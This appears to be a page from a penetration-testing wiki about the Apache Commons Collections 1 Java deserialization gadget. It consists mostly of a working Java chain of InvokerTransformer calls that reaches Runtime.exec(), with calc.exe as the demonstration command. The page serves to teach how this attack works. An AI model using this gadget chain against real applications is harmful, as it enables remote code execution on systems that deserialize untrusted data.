CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep
Java Transformers to Rutime exec()
import org.apache.commons.*;import org.apache.commons.collections.*;import org.apache.commons.collections.functors.*;import org.apache.commons.collections.map.*;import java.io.*;import java.lang.reflect.InvocationTargetException;import java.util.Map;import java.util.HashMap;public class CommonsCollections1PayloadOnly { public static void main(String... args) { String[] command = {"calc.exe"}; final Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]} ), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]} ), new InvokerTransformer("exec", new Class[]{String.class}, command ) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map map = new HashMap<>(); Map lazyMap = LazyMap.decorate(map, chainedTransformer); lazyMap.get("anything"); }}Runtime.getRuntime().exec(new String[]{"calc.exe"});((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});How
String[] command = {"calc.exe"};final Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]} ), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]} ), new InvokerTransformer("exec", new Class[]{String.class}, command )};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map map = new HashMap<>();Map lazyMap = LazyMap.decorate(map, chainedTransformer);lazyMap.get("anything");Summary
Java Thread Sleep
More Gadgets
上一页Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner下一页Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
最后更新于
这有帮助吗?